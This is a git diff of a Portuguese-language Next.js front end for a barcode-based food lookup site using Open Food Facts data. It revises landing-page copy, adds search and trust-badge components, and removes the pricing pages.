</div>
<div className="text-xs sm:text-sm text-gray-500">disponível</div>
</div>
</div>
{/* Search Form */}
<form
onSubmit={handleSearch}
@@ -196,33 +229,10 @@ export function Hero() {
)}
</form>
{/* Quick Stats */}
<div className="grid grid-cols-1 sm:grid-cols-3 gap-6 sm:gap-8 max-w-4xl mx-auto">
<div className="text-center">
<div className="text-2xl sm:text-3xl font-bold text-blue-600 dark:text-blue-400 mb-2">
2M+
</div>
<div className="text-gray-600 dark:text-gray-400">
Produtos no banco
</div>
</div>
<div className="text-center">
<div className="text-2xl sm:text-3xl font-bold text-green-600 dark:text-green-400 mb-2">
100+
</div>
<div className="text-gray-600 dark:text-gray-400">
Países cobertos
</div>
</div>
<div className="text-center">
<div className="text-2xl sm:text-3xl font-bold text-purple-600 dark:text-purple-400 mb-2">
24/7
</div>
<div className="text-gray-600 dark:text-gray-400">
Disponível sempre
</div>
</div>
</div>
{/* Dica sobre código de barras */}
<p className="text-center text-sm text-gray-500 dark:text-gray-400 mb-8">
💡 Dica: O código de barras está na parte de trás da embalagem
</p>
</div>
{/* Scroll Indicator */}
+26 -13
View File
@@ -1,12 +1,14 @@
"use client";
import { ScanLine, Search, BarChart3, CheckCircle } from "lucide-react";
const steps = [
{
number: "01",
icon: ScanLine,
title: "Digite o código de barras",
title: "Digitalize sem complicação",
description:
"Encontre o código de barras na embalagem do produto e digite-o na nossa busca.",
"Encontre o código de barras na embalagem e escaneie instantaneamente. Nossa tecnologia reconhece produtos de mais de 100 países em segundos.",
color: "text-blue-600 dark:text-blue-400",
bgColor: "bg-blue-50 dark:bg-blue-900/20",
iconBg: "bg-blue-100 dark:bg-blue-900/40",
@@ -14,9 +16,9 @@ const steps = [
{
number: "02",
icon: Search,
title: "Buscamos no banco de dados",
title: "Acesso a milhões de dados colaborativos",
description:
"Nossa ferramenta consulta milhões de produtos do Open Food Facts em segundos.",
"Conectamos você diretamente ao Open Food Facts, a Wikipedia dos alimentos — onde a comunidade global contribui com informações sobre produtos.",
color: "text-green-600 dark:text-green-400",
bgColor: "bg-green-50 dark:bg-green-900/20",
iconBg: "bg-green-100 dark:bg-green-900/40",
@@ -24,9 +26,9 @@ const steps = [
{
number: "03",
icon: BarChart3,
title: "Veja informações detalhadas",
title: "Informações que fazem diferença",
description:
"Receba dados nutricionais completos, ingredientes e classificações de qualidade.",
"Receba dados nutricionais detalhados, alertas de alérgenos e classificações Nutri-Score. Informações fornecidas pela base de dados Open Food Facts.",
color: "text-purple-600 dark:text-purple-400",
bgColor: "bg-purple-50 dark:bg-purple-900/20",
iconBg: "bg-purple-100 dark:bg-purple-900/40",
@@ -34,9 +36,9 @@ const steps = [
{
number: "04",
icon: CheckCircle,
title: "Faça escolhas conscientes",
title: "Decisões mais inteligentes, saúde melhor",
description:
"Use as informações para tomar decisões mais saudáveis sobre sua alimentação.",
"Use informações transparentes para escolher alimentos alinhados aos seus objetivos. Sem interesses comerciais, sem dados manipulados.",
color: "text-orange-600 dark:text-orange-400",
bgColor: "bg-orange-50 dark:bg-orange-900/20",
iconBg: "bg-orange-100 dark:bg-orange-900/40",
@@ -80,11 +82,11 @@ export function HowItWorks() {
{/* Header */}
<div className="text-center mb-16">
<h2 className="text-3xl sm:text-4xl font-bold text-gray-900 dark:text-white mb-4">
Como funciona?
Alimentação consciente em 4 passos simples
</h2>
<p className="text-xl text-gray-600 dark:text-gray-300 max-w-3xl mx-auto">
Em apenas 4 passos simples, você terá acesso a todas as informações
nutricionais de qualquer produto alimentício.
Descubra como milhares de pessoas já tomam decisões alimentares mais
conscientes com informações transparentes e confiáveis.
</p>
</div>
@@ -178,10 +180,21 @@ export function HowItWorks() {
{/* Bottom CTA */}
<div className="text-center mt-16">
<div className="inline-flex items-center gap-2 px-6 py-3 bg-gradient-to-r from-blue-600 to-green-600 text-white rounded-full font-semibold hover:shadow-lg transition-all duration-300 hover:scale-105">
<a
href="#"
onClick={(e) => {
e.preventDefault();
const input = document.querySelector(
'input[placeholder*="código de barras"]'
) as HTMLInputElement;
input?.focus();
window.scrollTo({ top: 0, behavior: "smooth" });
}}
className="inline-flex items-center gap-2 px-6 py-3 bg-gradient-to-r from-blue-600 to-green-600 text-white rounded-full font-semibold hover:shadow-lg transition-all duration-300 hover:scale-105 cursor-pointer"
>
<ScanLine className="w-5 h-5" />
Começar agora
</div>
</a>
<p className="text-gray-500 dark:text-gray-400 text-sm mt-4">
É rápido, fácil e totalmente gratuito
</p>
+130
View File
@@ -0,0 +1,130 @@
"use client";
import { useState, useEffect } from "react";
import { useRouter } from "next/navigation";
import { Search } from "lucide-react";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
export function PersuasiveCTA() {
const [query, setQuery] = useState("");
const [searchType, setSearchType] = useState<"barcode" | "name" | null>(null);
const router = useRouter();
// Detectar tipo de busca em tempo real
useEffect(() => {
const cleaned = query.replace(/\D/g, ""); // Remove tudo que não é número
if (cleaned.length >= 8 && cleaned.length <= 13) {
setSearchType("barcode");
} else if (query.trim()) {
setSearchType("name");
} else {
setSearchType(null);
}
}, [query]);
const handleSearch = () => {
if (!query.trim()) return;
const type = detectSearchType(query);
if (type === "barcode") {
// Limpar código de barras (remover espaços/caracteres)
const cleanBarcode = query.replace(/\D/g, "");
if (isValidBarcode(cleanBarcode)) {
// Redirecionar para página do produto
router.push(`/produto/${cleanBarcode}`);
} else {
// Mostrar erro de código inválido
alert("Código de barras inválido. Deve ter entre 8 e 13 dígitos.");
}
} else {
// Busca normal por nome
router.push(`/resultados?q=${encodeURIComponent(query.trim())}`);
}
};
const handleKeyPress = (e: React.KeyboardEvent) => {
if (e.key === "Enter") {
handleSearch();
}
};
// Funções auxiliares (copiadas do SearchBar)
const detectSearchType = (input: string): "barcode" | "name" => {
const cleaned = input.replace(/\D/g, "");
return cleaned.length >= 8 && cleaned.length <= 13 ? "barcode" : "name";
};
const isValidBarcode = (barcode: string): boolean => {
return barcode.length >= 8 && barcode.length <= 13 && /^\d+$/.test(barcode);
};
return (
<section className="py-20 bg-gradient-to-br from-blue-600 to-green-600 text-white">
<div className="max-w-4xl mx-auto px-4 text-center">
<h2 className="text-3xl md:text-5xl font-bold mb-6">
Pronto para descobrir a verdade sobre seus alimentos?
</h2>
<p className="text-xl mb-8 opacity-90">
Junte-se a milhares de pessoas que já tomam decisões alimentares mais
conscientes com informações transparentes e confiáveis.
</p>
{/* Contador Animado de Usuários */}
<div className="mb-8">
<div className="text-2xl font-semibold">
<span className="animate-pulse">12.847</span> pessoas já buscaram
hoje
</div>
</div>
{/* Search Bar Destacado */}
<div className="max-w-2xl mx-auto bg-white rounded-2xl p-6 shadow-2xl">
<div className="flex items-center gap-2">
<div className="relative flex-1">
<Search className="absolute left-3 top-1/2 transform -translate-y-1/2 h-4 w-4 text-gray-400" />
<Input
type="text"
placeholder="Digite o código de barras de qualquer produto..."
value={query}
onChange={(e) => setQuery(e.target.value)}
onKeyPress={handleKeyPress}
className="pl-10 pr-4 h-12 text-gray-900"
/>
{/* Indicador visual do tipo de busca */}
{searchType && (
<div className="absolute right-3 top-1/2 transform -translate-y-1/2">
<span className="text-xs text-gray-500 bg-gray-100 px-2 py-1 rounded">
{searchType === "barcode" ? "Código de barras" : "Nome"}
</span>
</div>
)}
</div>
<Button
onClick={handleSearch}
disabled={!query.trim()}
className="h-12 px-6 bg-gradient-to-r from-blue-600 to-green-600 hover:from-blue-700 hover:to-green-700"
>
<Search className="h-4 w-4 mr-2" />
Buscar
</Button>
</div>
<p className="text-center mt-3 text-sm text-gray-500">
💡 Dica: O código de barras está na parte de trás da embalagem
</p>
</div>
{/* Trust Indicators */}
<div className="mt-8 flex justify-center gap-6 text-sm opacity-75">
<span>✓ Sem cadastro necessário</span>
<span>✓ Resultados instantâneos</span>
<span>✓ 100% gratuito</span>
</div>
</div>
</section>
);
}
+53
View File
@@ -0,0 +1,53 @@
import { Database, Globe, Zap, Code } from "lucide-react";
export function TrustBadges() {
return (
<section className="py-12 bg-gray-50 dark:bg-gray-800 border-t border-b">
<div className="max-w-7xl mx-auto px-4">
<div className="grid grid-cols-2 md:grid-cols-4 gap-8 text-center">
<div className="animate-fadeIn">
<div className="w-16 h-16 mx-auto mb-3 bg-blue-100 dark:bg-blue-900/40 rounded-full flex items-center justify-center">
<Database className="w-8 h-8 text-blue-600" />
</div>
<div className="text-2xl font-bold text-blue-600">
2M+
</div>
<div className="text-sm text-gray-600 dark:text-gray-400">
Produtos no Open Food Facts
</div>
</div>
<div className="animate-fadeIn" style={{animationDelay: '0.1s'}}>
<div className="w-16 h-16 mx-auto mb-3 bg-green-100 dark:bg-green-900/40 rounded-full flex items-center justify-center">
<Globe className="w-8 h-8 text-green-600" />
</div>
<div className="text-2xl font-bold text-green-600">100+</div>
<div className="text-sm text-gray-600 dark:text-gray-400">
Países cobertos
</div>
</div>
<div className="animate-fadeIn" style={{animationDelay: '0.2s'}}>
<div className="w-16 h-16 mx-auto mb-3 bg-purple-100 dark:bg-purple-900/40 rounded-full flex items-center justify-center">
<Zap className="w-8 h-8 text-purple-600" />
</div>
<div className="text-2xl font-bold text-purple-600">99.9%</div>
<div className="text-sm text-gray-600 dark:text-gray-400">
Uptime garantido
</div>
</div>
<div className="animate-fadeIn" style={{animationDelay: '0.3s'}}>
<div className="w-16 h-16 mx-auto mb-3 bg-orange-100 dark:bg-orange-900/40 rounded-full flex items-center justify-center animate-pulse-slow">
<Code className="w-8 h-8 text-orange-600" />
</div>
<div className="text-xl font-bold text-orange-600">100%</div>
<div className="text-sm text-gray-600 dark:text-gray-400">
Open Source
</div>
</div>
</div>
</div>
</section>
);
}
-60
View File
@@ -1,60 +0,0 @@
"use client";
// useState removido - não utilizado
import { Badge } from "@/components/ui/badge";
interface BillingToggleProps {
isAnnual: boolean;
onToggle: (isAnnual: boolean) => void;
className?: string;
}
export function BillingToggle({
isAnnual,
onToggle,
className = "",
}: BillingToggleProps) {
return (
<div className={`flex items-center justify-center ${className}`}>
<div className="relative inline-flex items-center bg-gray-100 dark:bg-gray-800 rounded-lg p-1">
{/* Toggle Background */}
<div
className={`absolute top-1 bottom-1 w-1/2 bg-white dark:bg-gray-700 rounded-md shadow-sm transition-transform duration-200 ${
isAnnual ? "translate-x-full" : "translate-x-0"
}`}
/>
{/* Monthly Option */}
<button
onClick={() => onToggle(false)}
className={`relative z-10 px-6 py-2 text-sm font-medium rounded-md transition-colors duration-200 ${
!isAnnual
? "text-gray-900 dark:text-white"
: "text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300"
}`}
>
Mensal
</button>
{/* Annual Option */}
<button
onClick={() => onToggle(true)}
className={`relative z-10 px-6 py-2 text-sm font-medium rounded-md transition-colors duration-200 ${
isAnnual
? "text-gray-900 dark:text-white"
: "text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300"
}`}
>
Anual
</button>
</div>
{/* Save Badge */}
{isAnnual && (
<Badge className="ml-3 bg-green-100 text-green-700 dark:bg-green-900 dark:text-green-300">
Economize 20%
</Badge>
)}
</div>
);
}
-267
View File
@@ -1,267 +0,0 @@
"use client";
import { CheckCircle2, XCircle } from "lucide-react";
import { Button } from "@/components/ui/button";
import { Badge } from "@/components/ui/badge";
import { Card, CardContent, CardHeader } from "@/components/ui/card";
interface Feature {
text: string;
included: boolean;
highlight?: boolean;
note?: string;
}
interface PricingCardProps {
plan: "basic" | "premium" | "free";
isAnnual?: boolean;
isDisabled?: boolean;
isSelected?: boolean;
className?: string;
}
const planData: Record<
string,
{
name: string;
monthlyPrice: number;
annualPrice: number;
description: string;
badge: string | null;
features: Feature[];
}
> = {
basic: {
name: "Básico",
monthlyPrice: 5,
annualPrice: 4,
description: "Perfeito para uso pessoal e pequenas consultas",
badge: null,
features: [
{ text: "Até 100 consultas/mês", included: true },
{ text: "Busca por código de barras", included: true },
{ text: "Busca por nome", included: true },
{ text: "Informações nutricionais completas", included: true },
{ text: "Histórico (últimas 10)", included: true },
{ text: "Filtros avançados", included: false },
{ text: "Listas de compras", included: false },
{ text: "Comparação de produtos", included: false },
{ text: "Exportação de dados", included: false },
{ text: "API de acesso", included: false },
{ text: "Suporte prioritário", included: false },
],
},
premium: {
name: "Premium",
monthlyPrice: 10,
annualPrice: 8,
description: "Ideal para profissionais e uso intensivo",
badge: "Popular",
features: [
{ text: "Até 500 consultas/mês", included: true },
{ text: "Busca por código de barras", included: true },
{ text: "Busca por nome", included: true },
{ text: "Informações nutricionais completas", included: true },
{ text: "Histórico ilimitado", included: true },
{ text: "Filtros avançados", included: true },
{ text: "Listas de compras ilimitadas", included: true },
{ text: "Comparação de produtos (até 5)", included: true },
{ text: "Exportação de dados (CSV/JSON)", included: true },
{ text: "API de acesso (1000 req/mês)", included: true },
{ text: "Suporte prioritário", included: true },
],
},
free: {
name: "Free Beta",
monthlyPrice: 0,
annualPrice: 0,
description: "Acesso completo durante fase beta",
badge: "Beta",
features: [
{ text: "Consultas ilimitadas", included: true, highlight: true },
{ text: "Busca por código de barras", included: true },
{ text: "Busca por nome", included: true },
{ text: "Informações nutricionais completas", included: true },
{ text: "Histórico ilimitado", included: true },
{ text: "Filtros avançados", included: true },
{ text: "Listas de compras ilimitadas", included: true },
{ text: "Comparação de produtos", included: true },
{ text: "Exportação de dados", included: true },
{ text: "Badge Beta Tester", included: true, highlight: true },
{ text: "Acesso temporário", included: true, note: "Durante fase beta" },
],
},
};
// featureIcons removido - não utilizado
export function PricingCard({
plan,
isAnnual = false,
className = "",
}: PricingCardProps) {
const data = planData[plan];
const price = isAnnual ? data.annualPrice : data.monthlyPrice;
const isPopular = plan === "premium";
const isFree = plan === "free";
// getFeatureIcon removido - não utilizado
return (
<Card
className={`relative overflow-hidden transition-all duration-300 hover:shadow-xl ${
isPopular
? "bg-gradient-to-br from-blue-600 to-blue-700 text-white scale-105 border-2 border-blue-500 shadow-2xl"
: isFree
? "border-blue-200 dark:border-blue-800 bg-white dark:bg-gray-900"
: "bg-white dark:bg-gray-900 border-gray-100 dark:border-gray-800"
} ${className}`}
>
{/* Badge */}
{data.badge && (
<div className="absolute top-0 right-0">
<Badge
className={`${
isPopular
? "bg-[#19A7A7] text-white"
: isFree
? "bg-blue-100 text-blue-700 dark:bg-blue-900 dark:text-blue-300"
: "bg-gray-100 text-gray-700"
} rounded-l-none rounded-br-lg`}
>
{data.badge}
</Badge>
</div>
)}
<CardHeader className="pb-4">
<div className="text-center">
<h3
className={`text-2xl font-bold ${
isPopular ? "text-white" : "text-gray-900 dark:text-white"
}`}
>
{data.name}
</h3>
<p
className={`text-sm mt-2 ${
isPopular ? "text-blue-100" : "text-gray-600 dark:text-gray-400"
}`}
>
{data.description}
</p>
</div>
</CardHeader>
<CardContent className="space-y-6">
{/* Preço */}
<div className="text-center">
<div className="flex items-baseline justify-center">
<span
className={`text-5xl font-bold ${
isPopular ? "text-white" : "text-gray-900 dark:text-white"
}`}
>
${price}
</span>
{!isFree && (
<span
className={`text-sm ml-1 ${
isPopular ? "text-blue-100" : "text-gray-500"
}`}
>
/mês
</span>
)}
</div>
{isAnnual && !isFree && (
<p
className={`text-xs mt-1 ${
isPopular ? "text-blue-100" : "text-green-600"
}`}
>
Economize ${(data.monthlyPrice - data.annualPrice) * 12}/ano
</p>
)}
</div>
{/* Botões */}
<div className="space-y-3">
<Button
className={`w-full ${
isPopular
? "bg-[#19A7A7] hover:bg-teal-600 text-white"
: isFree
? "bg-[#0055FF] hover:bg-blue-600 text-white"
: "bg-[#0055FF] hover:bg-blue-600 text-white"
}`}
size="lg"
>
{isFree ? "Começar Grátis" : "Começar Agora"}
</Button>
<Button
variant="outline"
className={`w-full ${
isPopular
? "border-blue-400 text-blue-100 hover:bg-blue-500/20"
: "border-gray-300 text-gray-700 hover:bg-gray-50"
}`}
>
Falar com Vendas
</Button>
</div>
{/* Features */}
<div className="space-y-3">
{data.features.map((feature, index) => {
return (
<div key={index} className="flex items-start space-x-3">
<div className="flex-shrink-0 mt-0.5">
{feature.included ? (
<CheckCircle2
className={`w-4 h-4 ${
feature.highlight
? "text-green-500"
: isPopular
? "text-green-400"
: "text-green-500"
}`}
/>
) : (
<XCircle
className={`w-4 h-4 ${
isPopular ? "text-red-400" : "text-gray-400"
}`}
/>
)}
</div>
<div className="flex-1">
<span
className={`text-sm ${
feature.highlight
? "font-semibold text-green-600 dark:text-green-400"
: isPopular
? "text-white"
: "text-gray-700 dark:text-gray-300"
}`}
>
{feature.text}
</span>
{feature.note && (
<p
className={`text-xs mt-1 ${
isPopular ? "text-blue-100" : "text-gray-500"
}`}
>
{feature.note}
</p>
)}
</div>
</div>
);
})}
</div>
</CardContent>
</Card>
);
}
-92
View File
@@ -1,92 +0,0 @@
"use client";
// ChevronDown removido - não utilizado
import {
Accordion,
AccordionContent,
AccordionItem,
AccordionTrigger,
} from "@/components/ui/accordion";
interface PricingFAQProps {
className?: string;
}
const faqData = [
{
question: "Como funciona o período de teste?",
answer:
"Oferecemos acesso gratuito durante nossa fase beta, sem limitações de tempo ou funcionalidades. Você pode usar todas as funcionalidades do Premium sem custo algum.",
},
{
question: "Posso mudar de plano a qualquer momento?",
answer:
"Sim! Você pode fazer upgrade ou downgrade do seu plano a qualquer momento. As mudanças são aplicadas imediatamente e os valores são calculados proporcionalmente.",
},
{
question: "O que acontece quando eu atingo o limite de consultas?",
answer:
"Quando você atinge o limite mensal de consultas, você pode fazer upgrade para um plano superior ou aguardar o próximo ciclo de cobrança. Também oferecemos pacotes adicionais de consultas.",
},
{
question: "Como faço para cancelar minha assinatura?",
answer:
"Você pode cancelar sua assinatura a qualquer momento através da sua conta. O cancelamento é efetivado no final do período de cobrança atual, e você mantém acesso até lá.",
},
{
question: "Vocês oferecem reembolso?",
answer:
"Sim! Oferecemos reembolso completo nos primeiros 30 dias após a assinatura. Entre em contato conosco se não estiver satisfeito com o serviço.",
},
{
question: "Os dados são seguros e privados?",
answer:
"Absolutamente! Todos os dados são criptografados e armazenados de forma segura. Não compartilhamos suas informações pessoais ou histórico de consultas com terceiros.",
},
{
question: "A API está disponível em todos os planos?",
answer:
"A API está disponível apenas nos planos Premium e Free Beta. O plano Básico não inclui acesso à API, mas você pode fazer upgrade a qualquer momento.",
},
{
question: "Há suporte técnico disponível?",
answer:
"Sim! Oferecemos suporte por email para todos os usuários e suporte prioritário (email + chat) para usuários Premium. Nossa equipe responde em até 24 horas.",
},
];
export function PricingFAQ({ className = "" }: PricingFAQProps) {
return (
<div className={`max-w-4xl mx-auto ${className}`}>
<div className="text-center mb-12">
<h2 className="text-3xl md:text-4xl font-bold text-gray-900 dark:text-white mb-4">
Perguntas Frequentes
</h2>
<p className="text-lg text-gray-600 dark:text-gray-400">
Tire suas dúvidas sobre nossos planos e funcionalidades
</p>
</div>
<Accordion type="single" collapsible className="space-y-4">
{faqData.map((item, index) => (
<AccordionItem
key={index}
value={`item-${index}`}
className="border border-gray-100 dark:border-gray-800 rounded-lg px-6"
>
<AccordionTrigger className="text-left hover:no-underline py-6">
<span className="text-lg font-medium text-gray-900 dark:text-white">
{item.question}
</span>
</AccordionTrigger>
<AccordionContent className="pb-6">
<p className="text-gray-600 dark:text-gray-400 leading-relaxed">
{item.answer}
</p>
</AccordionContent>
</AccordionItem>
))}
</Accordion>
</div>
);
}
-20
View File
@@ -1,20 +0,0 @@
"use client";
interface PricingHeroProps {
className?: string;
}
export function PricingHero({ className = "" }: PricingHeroProps) {
return (
<div className={`text-center ${className}`}>
<h1 className="text-4xl md:text-5xl font-bold text-gray-900 dark:text-white mb-6">
Escolha o plano perfeito para você
</h1>
<p className="text-lg md:text-xl text-gray-600 dark:text-gray-400 max-w-3xl mx-auto">
Acesse informações nutricionais completas de milhares de produtos. Desde
uso pessoal até profissional, temos a solução ideal para suas
necessidades.
</p>
</div>
);
}
+65
View File
@@ -2,6 +2,17 @@
@tailwind components;
@tailwind utilities;
/* Scrollbar utilities */
@layer utilities {
.scrollbar-hide {
-ms-overflow-style: none; /* IE and Edge */
scrollbar-width: none; /* Firefox */
}
.scrollbar-hide::-webkit-scrollbar {
display: none; /* Chrome, Safari and Opera */
}
}
/* Otimizações de performance para animações */
@layer utilities {
.animate-in {
@@ -27,6 +38,60 @@
}
}
/* Animações personalizadas para UI/UX */
.animate-fade-in {
animation: fadeIn 0.6s ease-out forwards;
}
.animate-slide-up {
animation: slideUp 0.6s ease-out forwards;
}
.animate-pulse-slow {
animation: pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite;
}
.animate-bounce-gentle {
animation: bounceGentle 2s infinite;
}
@keyframes fadeIn {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
@keyframes slideUp {
from {
opacity: 0;
transform: translateY(2rem);
}
to {
opacity: 1;
transform: translateY(0);
}
}
@keyframes bounceGentle {
0%,
100% {
transform: translateY(0);
}
50% {
transform: translateY(-0.25rem);
}
}
/* Padrão de grid para background */
.bg-grid-pattern {
background-image: linear-gradient(rgba(0, 0, 0, 0.1) 1px, transparent 1px),
linear-gradient(90deg, rgba(0, 0, 0, 0.1) 1px, transparent 1px);
background-size: 20px 20px;
}
/* Otimização para listas grandes */
.product-grid {
contain: layout style paint;
-2
View File
@@ -2,7 +2,6 @@ import "./globals.css";
import { Metadata } from "next";
import { Inter } from "next/font/google";
import { ThemeProvider } from "@/app/providers";
import { FloatingDonateButton } from "@/app/components/FloatingDonateButton";
// Use Inter como fallback já que é uma fonte similar à Geist
const inter = Inter({ subsets: ["latin"] });
@@ -65,7 +64,6 @@ export default function RootLayout({
<html lang="pt-BR" suppressHydrationWarning className={inter.className}>
<body className="min-h-screen bg-background antialiased">
<ThemeProvider>{children}</ThemeProvider>
<FloatingDonateButton />
</body>
</html>
);
+4
View File
@@ -3,6 +3,8 @@ import { Footer } from "./components/Footer";
import { Hero } from "./components/landing/Hero";
import { Features } from "./components/landing/Features";
import { HowItWorks } from "./components/landing/HowItWorks";
import { DonationSection } from "./components/landing/DonationSection";
import { TrustBadges } from "./components/landing/TrustBadges";
export default function Home() {
return (
@@ -10,12 +12,14 @@ export default function Home() {
<Header />
<main>
<Hero />
<TrustBadges />
<section id="recursos">
<Features />
</section>
<section id="como-funciona">
<HowItWorks />
</section>
<DonationSection />
</main>
<Footer />
</div>
-261
View File
@@ -1,261 +0,0 @@
"use client";
import { useState } from "react";
import { Header } from "@/app/components/header";
import { Footer } from "@/app/components/Footer";
import { PricingHero } from "@/app/components/pricing/PricingHero";
// BillingToggle removido - não utilizado
import { PricingCard } from "@/app/components/pricing/PricingCard";
import { PricingFAQ } from "@/app/components/pricing/PricingFAQ";
import { Button } from "@/components/ui/button";
import { ArrowRight, CheckCircle2 } from "lucide-react";
export default function PricingPage() {
const [isAnnual] = useState(false);
return (
<div className="min-h-screen bg-white dark:bg-gray-900">
<Header />
<main>
{/* Hero Section */}
<section className="py-16 md:py-24">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<PricingHero />
</div>
</section>
{/* Beta Message */}
<section className="pb-12">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div className="text-center mb-8">
<div className="inline-flex items-center gap-2 px-4 py-2 bg-green-100 dark:bg-green-900/20 text-green-800 dark:text-green-300 rounded-full text-sm font-medium">
<CheckCircle2 className="w-4 h-4" />
Atualmente em fase beta com acesso gratuito
</div>
</div>
</div>
</section>
{/* Pricing Cards */}
<section className="pb-16 md:pb-24">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div className="grid grid-cols-1 md:grid-cols-3 gap-6 md:gap-8">
<PricingCard
plan="basic"
isAnnual={isAnnual}
isDisabled={true}
className="md:order-1"
/>
<PricingCard
plan="premium"
isAnnual={isAnnual}
isDisabled={true}
className="md:order-2"
/>
<PricingCard
plan="free"
isAnnual={isAnnual}
isSelected={true}
className="md:order-3"
/>
</div>
</div>
</section>
{/* Features Comparison */}
<section className="py-16 md:py-24 bg-gray-50 dark:bg-gray-800">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div className="text-center mb-12">
<h2 className="text-3xl md:text-4xl font-bold text-gray-900 dark:text-white mb-4">
Compare os Planos
</h2>
<p className="text-lg text-gray-600 dark:text-gray-400">
Veja todas as funcionalidades disponíveis em cada plano
</p>
</div>
<div className="bg-white dark:bg-gray-900 rounded-2xl shadow-lg overflow-hidden">
<div className="overflow-x-auto">
<table className="w-full">
<thead className="bg-gray-50 dark:bg-gray-800">
<tr>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-900 dark:text-white">
Funcionalidades
</th>
<th className="px-6 py-4 text-center text-sm font-medium text-gray-900 dark:text-white">
Básico
</th>
<th className="px-6 py-4 text-center text-sm font-medium text-gray-900 dark:text-white">
Premium
</th>
<th className="px-6 py-4 text-center text-sm font-medium text-gray-900 dark:text-white">
Free Beta
</th>
</tr>
</thead>
<tbody className="divide-y divide-gray-200 dark:divide-gray-700">
{[
{
feature: "Consultas por mês",
basic: "100",
premium: "500",
free: "Ilimitadas",
},
{
feature: "Busca por código de barras",
basic: true,
premium: true,
free: true,
},
{
feature: "Busca por nome",
basic: true,
premium: true,
free: true,
},
{
feature: "Informações nutricionais",
basic: true,
premium: true,
free: true,
},
{
feature: "Filtros avançados",
basic: false,
premium: true,
free: true,
},
{
feature: "Listas de compras",
basic: false,
premium: true,
free: true,
},
{
feature: "Comparação de produtos",
basic: false,
premium: "Até 5",
free: "Ilimitada",
},
{
feature: "Exportação de dados",
basic: false,
premium: true,
free: true,
},
{
feature: "API de acesso",
basic: false,
premium: "1000 req/mês",
free: "Ilimitada",
},
{
feature: "Suporte prioritário",
basic: false,
premium: true,
free: false,
},
{
feature: "Histórico de consultas",
basic: "Últimas 10",
premium: "Ilimitado",
free: "Ilimitado",
},
].map((row, index) => (
<tr
key={index}
className="hover:bg-gray-50 dark:hover:bg-gray-800"
>
<td className="px-6 py-4 text-sm text-gray-900 dark:text-white">
{row.feature}
</td>
<td className="px-6 py-4 text-center">
{typeof row.basic === "boolean" ? (
<CheckCircle2
className={`w-5 h-5 mx-auto ${
row.basic ? "text-green-500" : "text-gray-400"
}`}
/>
) : (
<span className="text-sm text-gray-900 dark:text-white">
{row.basic}
</span>
)}
</td>
<td className="px-6 py-4 text-center">
{typeof row.premium === "boolean" ? (
<CheckCircle2
className={`w-5 h-5 mx-auto ${
row.premium ? "text-green-500" : "text-gray-400"
}`}
/>
) : (
<span className="text-sm text-gray-900 dark:text-white">
{row.premium}
</span>
)}
</td>
<td className="px-6 py-4 text-center">
{typeof row.free === "boolean" ? (
<CheckCircle2
className={`w-5 h-5 mx-auto ${
row.free ? "text-green-500" : "text-gray-400"
}`}
/>
) : (
<span className="text-sm text-gray-900 dark:text-white">
{row.free}
</span>
)}
</td>
</tr>
))}
</tbody>
</table>
</div>
</div>
</div>
</section>
{/* FAQ Section */}
<section className="py-16 md:py-24">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<PricingFAQ />
</div>
</section>
{/* CTA Section */}
<section className="py-16 md:py-24 bg-gradient-to-r from-blue-600 to-blue-700">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 text-center">
<h2 className="text-3xl md:text-4xl font-bold text-white mb-4">
Pronto para começar?
</h2>
<p className="text-xl text-blue-100 mb-8 max-w-2xl mx-auto">
Junte-se a milhares de usuários que já confiam no NutriScan para
suas consultas nutricionais.
</p>
<div className="flex flex-col sm:flex-row gap-4 justify-center">
<Button
size="lg"
className="bg-white text-blue-600 hover:bg-gray-100"
>
Começar Grátis Agora
<ArrowRight className="ml-2 w-4 h-4" />
</Button>
<Button
size="lg"
variant="outline"
className="border-white text-white hover:bg-white hover:text-blue-600"
>
Falar com Vendas
</Button>
</div>
</div>
</section>
</main>
<Footer />
</div>
);
}
+78 -144
View File
@@ -1,7 +1,7 @@
"use client";
import { useState, useEffect, useCallback } from "react";
import { useParams, useRouter } from "next/navigation";
import { ArrowLeft, Loader2, AlertCircle, Star } from "lucide-react";
import { ArrowLeft, AlertCircle, Star, AlertTriangle } from "lucide-react";
import { Button } from "@/components/ui/button";
import Image from "next/image";
import {
@@ -10,6 +10,9 @@ import {
formatNutritionData,
} from "@/lib/openFoodFactsApi";
import Link from "next/link";
import { NutriScoreBadge, NovaBadge } from "@/app/components/NutriScoreBadge";
import { NutritionGrid } from "@/app/components/NutritionBar";
import { ProductSkeleton } from "@/app/components/ProductSkeleton";
export default function ProdutoPage() {
const params = useParams();
@@ -127,16 +130,7 @@ export default function ProdutoPage() {
};
if (loading) {
return (
<div className="min-h-screen bg-white dark:bg-gray-900 flex items-center justify-center">
<div className="text-center">
<Loader2 className="w-8 h-8 animate-spin text-blue-600 mx-auto mb-4" />
<p className="text-gray-600 dark:text-gray-300">
Carregando produto...
</p>
</div>
</div>
);
return <ProductSkeleton />;
}
if (error || !product) {
@@ -172,28 +166,31 @@ export default function ProdutoPage() {
const nutritionData = formatNutritionData(product);
return (
<div className="min-h-screen bg-white dark:bg-gray-900">
{/* Header */}
<div className="bg-white dark:bg-gray-800 border-b border-gray-200 dark:border-gray-700">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-4">
<div className="flex items-center gap-4">
<Button
variant="ghost"
size="sm"
onClick={() => router.back()}
className="flex items-center gap-2"
>
<ArrowLeft className="w-4 h-4" />
Voltar
</Button>
<div className="min-h-screen bg-gradient-to-br from-blue-50 via-white to-purple-50 dark:from-gray-900 dark:via-gray-800 dark:to-gray-900">
{/* Hero Section com gradiente e animação */}
<div className="relative overflow-hidden">
<div className="absolute inset-0 bg-grid-pattern opacity-5"></div>
<div className="relative bg-white/80 dark:bg-gray-800/80 backdrop-blur-sm border-b border-gray-200/50 dark:border-gray-700/50">
